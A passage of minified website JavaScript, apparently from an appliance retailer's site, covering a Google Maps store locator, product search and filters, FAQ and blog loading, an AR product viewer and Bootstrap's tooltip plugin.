Delhi",AX:"Mariehamn",AZ:"Baku",IE:"Dublin",ID:"Jakarta",UA:"Kiev",QA:"Doha",MZ:"Maputo"},$n={BD:"Bangladesh",BE:"Belgium",BF:"Burkina Faso",BG:"Bulgaria",BA:"Bosnia and Herzegovina",BB:"Barbados",WF:"Wallis and Futuna",BL:"Saint Barthelemy",BM:"Bermuda",BN:"Brunei",BO:"Bolivia",BH:"Bahrain",BI:"Burundi",BJ:"Benin",BT:"Bhutan",JM:"Jamaica",BV:"Bouvet Island",BW:"Botswana",WS:"Samoa",BQ:"Bonaire, Sint Eustatius and Saba",BR:"Brazil",BS:"The Bahamas",JE:"Jersey",BY:"Belarus",BZ:"Belize",RU:"Russia",RW:"Rwanda",RS:"Serbia",TL:"Timor-Leste",RE:"Reunion",TM:"Turkmenistan",TJ:"Tajikistan",RO:"Romania",TK:"Tokelau",GW:"Guinea-Bissau",GU:"Guam",GT:"Guatemala",GS:"South Georgia and the South Sandwich Islands",GR:"Greece",GQ:"Equatorial Guinea",GP:"Guadeloupe",JP:"Japan",GY:"Guyana",GG:"Guernsey",GF:"French Guiana",GE:"Georgia",GD:"Grenada",GB:"United Kingdom",GA:"Gabon",SV:"El Salvador",GN:"Guinea",GM:"The Gambia",GL:"Greenland",GI:"Gibraltar",GH:"Ghana",OM:"Oman",TN:"Tunisia",JO:"Jordan",HR:"Croatia",HT:"Haiti",HU:"Hungary",HK:"Hong Kong",HN:"Honduras",HM:"Heard Island and McDonald Islands",VE:"Venezuela",PR:"Puerto Rico",PS:"State of Palestine",PW:"Palau",PT:"Portugal",SJ:"Svalbard and Jan Mayen",PY:"Paraguay",IQ:"Iraq",PA:"Panama",PF:"French Polynesia",PG:"Papua New Guinea",PE:"Peru",PK:"Pakistan",PH:"Philippines",PN:"Pitcairn Islands",PL:"Poland",PM:"Saint Pierre and Miquelon",ZM:"Zambia",EH:"Western Sahara",EE:"Estonia",EG:"Egypt",ZA:"South Africa",EC:"Ecuador",IT:"Italy",VN:"Vietnam",SB:"Solomon Islands",ET:"Ethiopia",SO:"Somalia",ZW:"Zimbabwe",SA:"Saudi Arabia",ES:"Spain",ER:"Eritrea",ME:"Montenegro",MD:"Moldova",MG:"Madagascar",MF:"Saint Martin",MA:"Morocco",MC:"Monaco",UZ:"Uzbekistan",MM:"Myanmar",ML:"Mali",MO:"Macao",MN:"Mongolia",MH:"Marshall Islands",MK:"North Macedonia",MU:"Mauritius",MT:"Malta",MW:"Malawi",MV:"Maldives",MQ:"Martinique",MP:"Northern Mariana Islands",MS:"Montserrat",MR:"Mauritania",IM:"Isle of Man",UG:"Uganda",TZ:"Tanzania",MY:"Malaysia",MX:"Mexico",IL:"Israel",FR:"France",IO:"British Indian Ocean Territory",SH:"Saint Helena",FI:"Finland",FJ:"Fiji",FK:"Falkland Islands",FM:"Micronesia",FO:"Faroe Islands",NI:"Nicaragua",NL:"Netherlands",NO:"Norway",NA:"Namibia",VU:"Vanuatu",NC:"New Caledonia",NE:"Niger",NF:"Norfolk Island",NG:"Nigeria",NZ:"New Zealand",NP:"Nepal",NR:"Nauru",NU:"Niue",CK:"Cook Islands",XK:"Kosovo",CI:"Ivory Coast",CH:"Switzerland",CO:"Colombia",CN:"China",CM:"Cameroon",CL:"Chile",CC:"Cocos (Keeling) Islands",CA:"Canada",CG:"Congo (Brazzaville)",CF:"Central African Republic",CD:"Congo (Kinshasa)",CZ:"Czechia",CY:"Cyprus",CX:"Christmas Island",CR:"Costa Rica",CW:"Curacao",CV:"Cape Verde",CU:"Cuba",SZ:"Eswatini",SY:"Syria",SX:"Sint Maarten",KG:"Kyrgyzstan",KE:"Kenya",SS:"South Sudan",SR:"Suriname",KI:"Kiribati",KH:"Cambodia",KN:"Saint Kitts and Nevis",KM:"Comoros",ST:"Sao Tome and Principe",SK:"Slovakia",KR:"South Korea",SI:"Slovenia",KP:"North Korea",KW:"Kuwait",SN:"Senegal",SM:"San Marino",SL:"Sierra Leone",SC:"Seychelles",KZ:"Kazakhstan",KY:"Cayman Islands",SG:"Singapore",SE:"Sweden",SD:"Sudan",DO:"Dominican Republic",DM:"Dominica",DJ:"Djibouti",DK:"Denmark",VG:"British Virgin Islands",DE:"Germany",YE:"Yemen",DZ:"Algeria",US:"United States",UY:"Uruguay",YT:"Mayotte",UM:"United States Minor Outlying Islands",LB:"Lebanon",LC:"Saint Lucia",LA:"Laos",TV:"Tuvalu",TW:"Taiwan",TT:"Trinidad and Tobago",TR:"Turkey",LK:"Sri Lanka",LI:"Liechtenstein",LV:"Latvia",TO:"Tonga",LT:"Lithuania",LU:"Luxembourg",LR:"Liberia",LS:"Lesotho",TH:"Thailand",TF:"French Southern and Antarctic Lands",TG:"Togo",TD:"Chad",TC:"Turks and Caicos Islands",LY:"Libya",VA:"Vatican City",VC:"Saint Vincent and the Grenadines",AE:"United Arab Emirates",AD:"Andorra",AG:"Antigua and Barbuda",AF:"Afghanistan",AI:"Anguilla",VI:"U.S. Virgin Islands",IS:"Iceland",IR:"Iran",AM:"Armenia",AL:"Albania",AO:"Angola",AQ:"Antarctica",AS:"American Samoa",AR:"Argentina",AU:"Australia",AT:"Austria",AW:"Aruba",IN:"India",AX:"Aland Islands",AZ:"Azerbaijan",IE:"Ireland",ID:"Indonesia",UA:"Ukraine",QA:"Qatar",MZ:"Mozambique"};let jn,Nn,Rn,Hn,Fn,Bn,Un,Wn,zn,qn={lat:50.848107,lng:4.350853},Vn=!1;const Jn=t()(window).width()<768?12:13,Gn=[{featureType:"road.highway",elementType:"geometry",stylers:[{color:"#dbd4ce"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#dbd4ce"}]},{featureType:"poi.attraction",stylers:[{visibility:"off"}]},{featureType:"poi.business",stylers:[{visibility:"off"}]},{featureType:"poi.government",stylers:[{visibility:"off"}]},{featureType:"poi.medical",stylers:[{visibility:"off"}]},{featureType:"poi.park",elementType:"labels.text",stylers:[{visibility:"off"}]},{featureType:"poi.place_of_worship",stylers:[{visibility:"off"}]},{featureType:"poi.school",stylers:[{visibility:"off"}]},{featureType:"poi.sports_complex",stylers:[{visibility:"off"}]},{featureType:"transit",stylers:[{visibility:"off"}]}],Xn=(e,t,i,n)=>{t=Zn(t),e.panTo(t),n&&e.setZoom(n),(e=>{Hn?Hn.setPosition(e):Hn=new window.google.maps.Marker({position:e,map:jn,icon:Fn,anchor:new window.google.maps.Point(14,14),clickable:!1})})(t),On(e,t,i)},Zn=e=>({lat:"function"==typeof e.lat?e.lat():e.lat,lng:"function"==typeof e.lng?e.lng():e.lng}),Qn=e=>{t()("#modal-where-to-buy-near-me").removeClass("active"),t()("#modal-where-to-buy-results").addClass("active"),Vn||(Vn=!0);let i=e.getPlace();if(!i.geometry)return;let n="";i.address_components&&(n=[i.address_components[0]&&i.address_components[0].long_name||"",i.address_components[1]&&i.address_components[1].long_name||"",i.address_components[2]&&i.address_components[2].long_name||"",i.address_components[3]&&i.address_components[3].long_name||"",i.address_components[4]&&i.address_components[4].long_name||""].join(" ")),t()(".search-input").val(n);const r={lat:i.geometry.location.lat(),lng:i.geometry.location.lng()};Xn(jn,r,n)},er=e=>document.getElementById(e),tr=async(e,i)=>{if(t()(".search-input").val(e),e){let t=await((e,t)=>new Promise(((i,n)=>{Rn||(Rn=new google.maps.places.AutocompleteService),Rn.getPlacePredictions({input:e,componentRestrictions:{country:t}},(function(e,t){"OK"!==t&&n(t),e&&e[0]?i(e[0].place_id):n("response from google is empty")}))})))(e.trim(),i),n=await(e=>new Promise(((t,i)=>{Nn||(Nn=new google.maps.Geocoder),Nn.geocode({placeId:e},(function(n,r){"OK"!==r&&i(r),n&&n[0]?t(n[0].geometry.location):i("No place found for place id: "+e)}))})))(t);Xn(jn,n,e)}},ir=e=>{t()(".JS-search-input-button").click((function(){let i="#"+t()(this).data("copy-from-id"),n=t()(i).val();tr(n,e)}))},nr=e=>{t()(".search-input").on("keypress",(function(i){if(13===i.which){let i=t()(this).val();tr(i,e)}}))},rr=()=>"true"===document.getElementById("mapsSettings").dataset.fullViewMapEnabled,sr=()=>rr()?Jn-6:Jn,ar=()=>{let e=t()(".JS-maps").data("country-restrictions");return e?"string"!=typeof e?[]:e.split(","):[]};window.initMap=()=>{},t()("#modal-where-to-buy-map").length>0&&(window.initMap=()=>{const e=t()("#modal-where-to-buy-map");Fn=e.data("map-icon-found-location"),Bn=e.data("map-icon-retailer");const i=e[0],n=In();if(!i)return;if(!n)return;rr()?((e,t)=>{"object"==typeof google&&"object"==typeof google.maps||t();const i=new google.maps.Geocoder,n=$n[e.toUpperCase()];n?i.geocode({address:n},(function(e,i){let n;i==google.maps.GeocoderStatus.OK&&(n={lat:e[0].geometry.location.lat(),lng:e[0].geometry.location.lng()}),t(n)})):t()})(n,(e=>{qn=e||qn,jn=new window.google.maps.Map(i,{zoom:sr(),center:qn,styles:Gn,disableDefaultUI:!0,gestureHandling:"greedy"}),tr((e=>$n[e.toUpperCase()])(n),ar())})):((e,t)=>{"object"==typeof google&&"object"==typeof google.maps||t();const i=new google.maps.Geocoder,n=Yn[e.toUpperCase()];n?i.geocode({address:n},(function(e,i){let n;i==google.maps.GeocoderStatus.OK&&(n={lat:e[0].geometry.location.lat(),lng:e[0].geometry.location.lng()}),t(n)})):t()})(n,(e=>{qn=e||qn,jn=new window.google.maps.Map(i,{zoom:sr(),center:qn,styles:Gn,disableDefaultUI:!0,gestureHandling:"greedy"})}));let r=ar();(e=>{let t={componentRestrictions:{country:e}};Un=new google.maps.places.Autocomplete(er("where-to-buy-map-overlay-mobile-input"),t),zn=new google.maps.places.Autocomplete(er("retailer-near-me-input"),t),Wn=new google.maps.places.Autocomplete(er("where-to-buy-map-overlay-search"),t),zn.setFields(["address_components","geometry","icon","name"]),Un.setFields(["address_components","geometry","icon","name"]),Wn.setFields(["address_components","geometry","icon","name"]),zn.addListener("place_changed",(function(){Qn(zn)})),Un.addListener("place_changed",(function(){Qn(Un)})),Wn.addListener("place_changed",(function(){Qn(Wn)}))})(r),ir(r),nr(r),t()(".JS-input-clear-button").click((function(){t()(".search-input").val("")})),ke.accepted()&&!sn.isRejected()&&navigator.geolocation&&navigator.geolocation.getCurrentPosition((function(e){let i="".concat(e.coords.latitude,",").concat(e.coords.longitude);t()("#myLocation").val(i)}))},t()(document).on("click",".JS-map-go-to-current-position",(function(){ke.accepted()&&!sn.isRejected()&&navigator.geolocation&&navigator.geolocation.getCurrentPosition((function(e){const t={lat:e.coords.latitude,lng:e.coords.longitude};Xn(jn,t,"user current location",Jn)}))})),t()(document).on("click",".JS-map-zoom-in",(function(){jn.setZoom(jn.getZoom()+1)})),t()(document).on("click",".JS-map-zoom-out",(function(){jn.setZoom(jn.getZoom()-1)}))),$(".productSearchComponent").length>0&&new class{constructor(){this.root=$(".SearchByModelNumber__root"),this.autoCompleteSection=$(".ModelSelect__selectContent"),this.autoCompleteStart=this.root.data("auto-complete-start"),this.ajaxUrl=this.root.data("ajax-url"),this.resultUrlForAll="",this.bindEvents()}async searchProducts(e,t){const i=await fetch("".concat(e,"?search=").concat(t),{method:"GET"});return await i.text()}bindEvents(){const e=this;$(document).on("input focus",".JS-autocomplete-input",(function(){const e=$(this),t=e.closest(".JS-autocomplete").find(".JS-autocomplete-variants");""===e.val()?t.addClass("hidden"):t.removeClass("hidden")})),$(document).on("blur",".JS-autocomplete-input",(function(e){0===$(e.relatedTarget).closest(".JS-autocomplete").length&&$(this).closest(".JS-autocomplete").find(".JS-autocomplete-variants").addClass("hidden")})),$(document).on("keydown",".JS-autocomplete-input",(function(e){40===e.which&&($(this).closest(".JS-autocomplete").find(".JS-autocomplete-variants").children().first().focus(),e.stopPropagation())})),$(document).on("input",".JS-autocomplete-input",(async function(t){e.autoCompleteSection.empty();const i=$(this).val();if(i.length>=e.autoCompleteStart){Te.insertLoader({container:e.autoCompleteSection});const t=await e.searchProducts(e.ajaxUrl,i);e.autoCompleteSection.html(t)}}))}},i(79854);const or=class{constructor(){this.selectors={staticFilters:"#static-filters",fixedFilters:"#fixed-filters",filtersPanel:".JS-filters",filterRemoveButton:".JS-remove-filter",filterWrapper:".filterWrapper",filterButton:".JS-filter-button",productCardList:"#productCardList",productPartialList:"#product-list-partial",productCardContainer:"#productCardContainer",filterSubmitButton:".JS-submit-filter-button",filterClearButton:".JS-filter-clear-button",filterDataSubmitButton:".FilterBottomMenu__submitButton",slider:".JS-range-slider",filterClose:".JS-filter-modal-close",filterParent:".JS-filter-parent",filterModal:".JS-filter-modal",scrollableModal:".JS-scrollable-modal"},this.dataSelectors={dataAjaxUrl:"ajax-url",dataFilterEntireAjaxUrl:"filter-entire-ajax-url",dataFilterAjaxUrl:"filter-ajax-url",dataFilterQuery:"filter-query",dataRemoveQuery:"remove-query",dataRemoveSeoQuery:"remove-seo-query",currentQuery:"current-query",currentSeoQuery:"current-seo-query",facetCode:"facet-code",rootQuery:"root-query",mode:"mode"},this.hybrisStateServletEndPoint="/content/"+this.getSiteName()+"/jcr:content.hybrisstate.endpoint",this.initialize(),this.bindEvents()}getSiteName(){return $("body").data().siteName}async initialize(){const e=await Ce.request(this.hybrisStateServletEndPoint),t=$(this.selectors.filtersPanel);e.error&&t.length>0&&t.hide()}bindEvents(){$(document).on("click",this.selectors.filterSubmitButton,(e=>{const t=$(e.target).closest("button").data(this.dataSelectors.currentSeoQuery);t&&this.redirectWithNewParameters(t)})),$(document).on("click",this.selectors.filterClearButton,(e=>{this.renderFilters($(this.selectors.productCardList).data(this.dataSelectors.rootQuery))})),$(document).on("click",this.selectors.filterClose,(e=>{if(e.preventDefault(),!$(this.selectors.filterSubmitButton).parent("#modal-filter-bottom-buttons").hasClass("open")&&$(".JS-filter-breadcrumb :button").length>0){const e=$(this.selectors.filterSubmitButton).data(this.dataSelectors.currentSeoQuery);this.redirectWithNewParameters(e)}})),$(document).on("click",this.selectors.filterRemoveButton,(e=>{const t=$(e.target).closest("button"),i=t.data(this.dataSelectors.dataRemoveSeoQuery),n=t.data(this.dataSelectors.dataRemoveQuery);this.loadProductsWithoutRefresh(i,n)})),$(document).on("click",this.selectors.filterButton,(e=>{const t=$(e.target).closest("button"),i="#"+t.closest(this.selectors.filterParent).attr("id"),n=t.data(this.dataSelectors.dataFilterQuery);this.renderFilters(n,(()=>{this.scrollToElementWithID(i)}))})),$(window).on("popstate",(e=>{const t=e.originalEvent.state;void 0!==t&&null!=t&&"filterRemove"===t.stateChangeType&&this.loadProducts(t.query)})),this.initSliders()}checkSlidersDefaultState(e){let t=0,i=e.length;return $(this.selectors.slider).each(((e,i)=>{const n=$(i).data("from"),r=$(i).data("to");let s=0;const a=$(i).data("values");void 0!==a&&(s=a.split(",").length-1),0===n&&s===r&&t++})),i===t}async renderFilters(e,t){const i=$(".filterWrapper");Te.insertLoader({container:i.find(".JS-form"),center:!0,overlay:!0});const n=$(this.selectors.productCardList).data(this.dataSelectors.dataFilterAjaxUrl);let r=window.location.href;r=this.replaceUrlParam(r,"query",e);const s=r.substring(r.indexOf("?")+1);let a="".concat(n,"?").concat(s);const o=await Ce.request(a);o.error?console.log(o.error):(i.html(o.data),this.initSliders(),t&&t())}async renderSliders(e){if(this.checkSlidersDefaultState($(this.selectors.slider)))await this.renderFilters($(this.selectors.productCardList).data(this.dataSelectors.rootQuery));else if(e.min!==e.from||e.max!==e.to){let t=$(this.selectors.filterDataSubmitButton);if(t=t.data(this.dataSelectors.currentQuery),!t)return;const i=e.input.first().data(this.dataSelectors.facetCode),n="[".concat(e.from_value," TO ").concat(e.to_value,"]"),r=i+":"+n;t=t.indexOf(i)>-1?await this.replaceFacetValue(t,i,n):t+":"+r;const s="#"+e.slider.closest(this.selectors.filterParent).attr("id");await this.renderFilters(t),this.scrollToElementWithID(s)}}scrollToElementWithID(e){e&&$(this.selectors.filterModal).find(this.selectors.scrollableModal).animate({scrollTop:$(e).offset().top},500)}replaceFacetValue(e,t,i){const n=e.split(":");for(let e=0;e<n.length;e++)n[e]===t&&(n[e+1]=i);return n.join(":")}redirectWithNewParameters(e){e||(window.location.href=this.createNewUrl());let t=e.split("&");_.each(t,(function(e,i){let n=e.replace("%26","&").split("=");t[i]=_.join(_.map(n,(function(e){return encodeURIComponent(e)})),"=")}));const i=_.join(t,"&");window.location.href=this.createNewUrl(i)}loadProductsWithoutRefresh(e,t){const i=this.createNewUrl(e);window.history.pushState({stateChangeType:"filterRemove",query:t},document.title,i),window.history.replaceState({stateChangeType:"filterRemove",query:t},document.title,i),this.loadProducts(t)}async loadProducts(e){const t=$(this.selectors.productCardList).data(this.dataSelectors.dataFilterEntireAjaxUrl);Te.insertLoader({container:$(this.selectors.staticFilters),center:!0,overlay:!0});let i="".concat(t,"?query=").concat(e);const n=await Ce.request(i);n.error||($("#modal-filters").remove(),$(this.selectors.productPartialList).replaceWith(n.data),$("#modal-filters").detach().appendTo($("#app")),this.initSliders()),xe.render()}createNewUrl(e){let t=filterXSS(window.location.href);return e||(e=""),t.includes("?")?(t=location.protocol+"//"+location.host+location.pathname+"?"+e,""===e&&(t=location.protocol+"//"+location.host+location.pathname)):t=t+"?"+e,t}replaceUrlParam(e,t,i){null==i&&(i="");const n=new RegExp("\\b("+t+"=).*?(&|#|$)");return e.search(n)>=0?e.replace(n,"$1"+i+"$2"):(e=e.replace(/[?#]$/,""))+(e.indexOf("?")>0?"&":"?")+t+"="+i}initSliders(){setTimeout((()=>{$.getScript("https://cdnjs.cloudflare.com/ajax/libs/ion-rangeslider/2.3.0/js/ion.rangeSlider.min.js",(()=>{$(this.selectors.slider).ionRangeSlider({onFinish:e=>{this.renderSliders(e)}})}))}),100)}};new class extends or{constructor(){super(),this.selectors={...this.selectors,filterSubmitButtonAuthor:".JS-submit-filter-author"},this.dataSelectors={...this.dataSelectors,resourcePath:"resource-path"},this.bindAuthorEvents()}bindAuthorEvents(){$(document).on("click",this.selectors.filterSubmitButtonAuthor,(async e=>{const t=$(e.target).closest("button"),i=t.data(this.dataSelectors.resourcePath),n=t.data(this.dataSelectors.currentQuery),r=$(".JS-author-filter-button-text").text();$("#authorFilterError").hide(),$(".JS-author-filter-button-text").text("Loading...");const s=await this.applyFiltersForAuthor(n,i);$(".JS-author-filter-button-text").text(r),200===s?window.location=window.location.pathname:(console.error("problem with server"),$("#authorFilterError").show())}))}async applyFiltersForAuthor(e,t){$(this.selectors.filterModal).find(this.selectors.scrollableModal);const i="".concat(window.location.origin,"/content/bekoglobal/jcr:content.filter.endpoint?path=").concat(t,"&query=").concat(e);if(!(await Ce.request(i)).error)return 200}},i(64831);class lr{constructor(){this.selectors={loadMoreButton:".JS-faq-loadmore",ajaxUrl:"#supportResultAjaxUrl",supportCategory:"#supportCategoryValue",productSupportCategory:"#productSupportCategoryValue",faqsContainer:"#faqsContainer",supportFaqTotal:"#supportFaqTotal",supportFaqAjaxTotal:"#supportFaqAjaxTotal",supportFaqNewAjax:".supportFaqNewAjax"},this.dataSelectors={loadMoreCurrentPage:"faq-current-page"},this.initilazeEvents()}initilazeEvents(){$(document).on("click",this.selectors.loadMoreButton,(e=>{const t=$(e.target).closest("button");this.getMoreFaqs(t)}))}async getMoreFaqs(e){let t=e[0].dataset.faqCurrentPage;const i=$(this.selectors.ajaxUrl).val(),n=$(this.selectors.supportCategory).val(),r=i+"."+$(this.selectors.productSupportCategory).val()+"."+n+".ajax.html?currentPage="+t;try{lr.displayFaqLoadingAnimation();const e=await Ce.request(r);$(this.selectors.faqsContainer).append(e.data),t++,$(this.selectors.loadMoreButton).attr("data-"+this.dataSelectors.loadMoreCurrentPage,t),this.isLastPage()&&$(this.selectors.loadMoreButton).hide()}catch(e){$(this.selectors.faqsContainer).append(e)}lr.hideFaqLoadingAnimation()}isLastPage(){const e=$(this.selectors.supportFaqTotal).val(),t=$(this.selectors.supportFaqNewAjax).last().val(),i=$(this.selectors.supportFaqAjaxTotal).val();return $(this.selectors.supportFaqAjaxTotal).val(+i+ +t),+i+ +t>=e}static displayFaqLoadingAnimation(){$(".load-more").addClass("hide"),$(".spinner").removeClass("hide")}static hideFaqLoadingAnimation(){$(".load-more").removeClass("hide"),$(".spinner").addClass("hide")}}new lr,i(3422);{const e=(e,t,i)=>{const n=e.data("parallax-speed")||.75,r=e.data("parallax-length");if(r){if(t>r/n)return void e.css({transform:"translateY(".concat(r,"px)"),position:"absolute"});0!==t&&e.css({position:""})}const s=e.data("parallax-dependent-on-position"),a=e.parent(),{top:o}=e.parent().offset();if(s){const r=ei?o-t:0,s=t+i-o;e.css("transform","translateY(".concat(Math.round(r+s*n),"px)"))}else{const i=r?0:$(window).height()-(o+a.outerHeight()),s=e.data("parallax-abs"),l=ei&&!s?-t-i:0;e.css("transform","translateY(".concat(Math.round(l+t*n),"px)"))}},t=()=>{const t=$(window).height(),i=window.pageYOffset||document.documentElement.scrollTop;i>=0&&$(".JS-parallax").each((function(){e($(this),i,t)}))};11===ti||Gt||Kt||Jt||($(document).ready(t),window.addEventListener("scroll",t))}function ur(){$(document).width()<768&&$(".ProductInfoParams__left .subTitle2-midgrey").each((function(e){var t=$(this).text().split(" ");if(t.length>5){t.splice(Math.round(t.length/2),0,"</br>");var i=t.join(" ");$(this).html(i)}}))}function cr(){const e=$(".MainFeatures__root > div").find(".row").last();e.length>0&&e.css("margin-bottom","30px")}$((()=>{const e=$("#blogArticleList"),t=$("#loadMoreBlogButton"),i=e.data("path"),n=e.data("pageCount");n<=1&&t.hide(),t.click((async()=>{const r=e.data("currentPage")+1,s="".concat(i,".ajax.").concat(r,".html"),a=await Ce.request(s);a.error||(e.data("currentPage",r),e.append(a.data),r>=n&&t.hide())}))})),$(document).ready((()=>{ur(),cr(),dr().catch((e=>{console.error(e)}))}));const dr=async()=>{if(!($(window).width()<=768))return;const e=$(".js-augmented-reality");if(e.length){const t=e.data("ar-base-url"),i=e.data("ar-target-api");t&&i||log.error("baseUrl or targetApi is not valid",t,i);const n=e.find(".js-ar-view-button");if(!n)return;const r=new URLSearchParams(window.location.search);if(r&&r.has("debugHolonextAR")){console.debug("debug mode enabled for AR"),e.removeClass("hide");const t=JSON.parse('{"body":{"modelViewer":"https://holonext.azurewebsites.net/api/v1/scene/shared-scene/60361ed29d65d6003814ecaf/VRT_94929_VV.glb","thumbnail":"https://holonext.azurewebsites.net/api/v1/scene/thumbnail/60361ed29d65d6003814ecaf/1v.JPG","glbModel":"https://holonext.azurewebsites.net/api/v1/scene/public/file/60361ed29d65d6003814ecaf/VRT_94929_VV.glb","usdzModel":"https://holonext.azurewebsites.net/api/v1/scene/public/file/60361ed29d65d6003814ecaf/model.usdz","holonextViewer":"https://holonext.azurewebsites.net/api/v1/scene/holonextViewer/60361ed29d65d6003814ecaf","sceneId":"60361ed29d65d6003814ecaf","title":"VRT 94929 VV"}}');return void hr(n[0],t)}const s=t+i+"?loc="+(encodeURIComponent(window.location.href)||"unavailable"),a=await Ie.holonextRequest(s);!a.error&&a.body&&(console.debug(a.sceneId),e.removeClass("hide"),hr(n[0],a))}},hr=(e,t)=>{pr()&&t.body.usdzModel?(e.rel="ar",e.href=t.body.usdzModel):(e.rel="noopener noreferrer",e.href="intent://arvr.google.com/scene-viewer/1.0?file="+t.body.glbModel+"#Intent;scheme=https;package=com.google.android.googlequicksearchbox;action=android.intent.action.VIEW;S.browser_fallback_url="+t.body.modelViewer+";end;")},pr=()=>document.createElement("a").relList.supports("ar");function fr(){t()(".ComparePropsTable__title").css("height","auto"),t()(".ComparePropsTable__main").each((function(e){var i=t()(this).next(".ScrollCarousel__scrollWrapper").find(".ComparePropsTable__title");t()(this).find(".ComparePropsTable__title").each((function(e){var n=t()(this).height();i.eq(e).height(n)}))}))}$(window).on("resize",(function(){ur(),cr()})),$(document).ready((()=>{const e=$(".JS-pdp-bundle-section-data");e.length&&(async()=>{const t=e.data("ajaxUrl"),i=$(e.data("renderArea")),n=await Ce.request(t);n.error||(i.append(n.data),i.removeClass("hide"),Vt())})()})),$(document).ready((()=>{$(".JS-Adobe-Target").each((function(){De.getRecommendations($(this))}))})),i(90539),t()(".ComparePropsTable__title").length>0&&(fr(),t()(window).resize((function(){fr()}))),t()(".PropertyTable__row").length>0&&t()(".PropertyTable__row").each((function(){var e=t()(this).find(".PropertyTable__column"),i=e.eq(0).height(),n=e.eq(1).height();i>n?e.eq(1).height(i):e.eq(0).height(n)})),i(29137),i(99070),i(81320),i(93995),i(76100),function(e){function t(e,t){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",e,t)}t.VERSION="3.3.7",t.TRANSITION_DURATION=150,t.DEFAULTS={animation:!0,placement:"auto",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},t.prototype.init=function(t,i,n){if(this.enabled=!0,this.type=t,this.$element=e(i),this.options=this.getOptions(n),this.$viewport=this.options.viewport&&e(e.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var r=this.options.trigger.split(" "),s=r.length;s--;){var a=r[s];if("click"==a)this.$element.on("click."+this.type,this.options.selector,e.proxy(this.toggle,this));else if("manual"!=a){var o="hover"==a?"mouseenter":"focusin",l="hover"==a?"mouseleave":"focusout";this.$element.on(o+"."+this.type,this.options.selector,e.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,e.proxy(this.leave,this))}}this.options.selector?this._options=e.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},t.prototype.getDefaults=function(){return t.DEFAULTS},t.prototype.getOptions=function(t){return(t=e.extend({},this.getDefaults(),this.$element.data(),t)).delay&&"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),t},t.prototype.getDelegateOptions=function(){var t={},i=this.getDefaults();return this._options&&e.each(this._options,(function(e,n){i[e]!=n&&(t[e]=n)})),t},t.prototype.enter=function(t){var i=t instanceof this.constructor?t:e(t.currentTarget).data("bs."+this.type);if(i||(i=new this.constructor(t.currentTarget,this.getDelegateOptions()),e(t.currentTarget).data("bs."+this.type,i)),t instanceof e.Event&&(i.inState["focusin"==t.type?"focus":"hover"]=!0),i.tip().hasClass("in")||"in"==i.hoverState)i.hoverState="in";else{if(clearTimeout(i.timeout),i.hoverState="in",!i.options.delay||!i.options.delay.show)return i.show();i.timeout=setTimeout((function(){"in"==i.hoverState&&i.show()}),i.options.delay.show)}},t.prototype.isInStateTrue=function(){for(var e in this.inState)if(this.inState[e])return!0;return!1},t.prototype.leave=function(t){var i=t instanceof this.constructor?t:e(t.currentTarget).data("bs."+this.type);if(i||(i=new this.constructor(t.currentTarget,this.getDelegateOptions()),e(t.currentTarget).data("bs."+this.type,i)),t instanceof e.Event&&(i.inState["focusout"==t.type?"focus":"hover"]=!1),!i.isInStateTrue()){if(clearTimeout(i.timeout),i.hoverState="out",!i.options.delay||!i.options.delay.hide)return i.hide();i.timeout=setTimeout((function(){"out"==i.hoverState&&i.hide()}),i.options.delay.hide)}},t.prototype.show=function(){var i=e.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(i);var n=e.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(i.isDefaultPrevented()||!n)return;var r=this,s=this.tip(),a=this.getUID(this.type);this.setContent(),s.attr("id",a),this.$element.attr("aria-describedby",a),this.options.animation&&s.addClass("fade");var o="function"==typeof this.options.placement?this.options.placement.call(this,s[0],this.$element[0]):this.options.placement,l=/\s?auto?\s?/i,u=l.test(o);u&&(o=o.replace(l,"")||"top"),s.detach().css({top:0,left:0,display:"block"}).addClass(o).data("bs."+this.type,this),this.options.container?s.appendTo(this.options.container):s.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var c=this.getPosition(),d=s[0].offsetWidth,h=s[0].offsetHeight;if(u){var p=o,f=this.getPosition(this.$viewport);o="bottom"==o&&c.bottom+h>f.bottom?"top":"top"==o&&c.top-h<f.top?"bottom":"right"==o&&c.right+d>f.width?"left":"left"==o&&c.left-d<f.left?"right":o,s.removeClass(p).addClass(o)}var m=this.getCalculatedOffset(o,c,d,h);this.applyPlacement(m,o);var g=function(){var e=r.hoverState;r.$element.trigger("shown.bs."+r.type),r.hoverState=null,"out"==e&&r.leave(r)};e.support.transition&&this.$tip.hasClass("fade")?s.one("bsTransitionEnd",g).emulateTransitionEnd(t.TRANSITION_DURATION):g()}},t.prototype.applyPlacement=function(t,i){var n=this.tip(),r=n[0].offsetWidth,s=n[0].offsetHeight,a=parseInt(n.css("margin-top"),10),o=parseInt(n.css("margin-left"),10);isNaN(a)&&(a=0),isNaN(o)&&(o=0),t.top+=a,t.left+=o,e.offset.setOffset(n[0],e.extend({using:function(e){n.css({top:Math.round(e.top),left:Math.round(e.left)})}},t),0),n.addClass("in");var l=n[0].offsetWidth,u=n[0].offsetHeight;"top"==i&&u!=s&&(t.top=t.top+s-u);var c=this.getViewportAdjustedDelta(i,t,l,u);c.left?t.left+=c.left:t.top+=c.top;var d=/top|bottom/.test(i),h=d?2*c.left-r+l:2*c.top-s+u,p=d?"offsetWidth":"offsetHeight";n.offset(t),this.replaceArrow(h,n[0][p],d)},t.prototype.replaceArrow=function(e,t,i){this.arrow().css(i?"left":"top",50*(1-e/t)+"%").css(i?"top":"left","")},t.prototype.setContent=function(){var e=this.tip(),t=this.getTitle();e.find(".tooltip-inner")[this.options.html?"html":"text"](t),e.removeClass("fade in top bottom left right")},t.prototype.hide=function(i){var 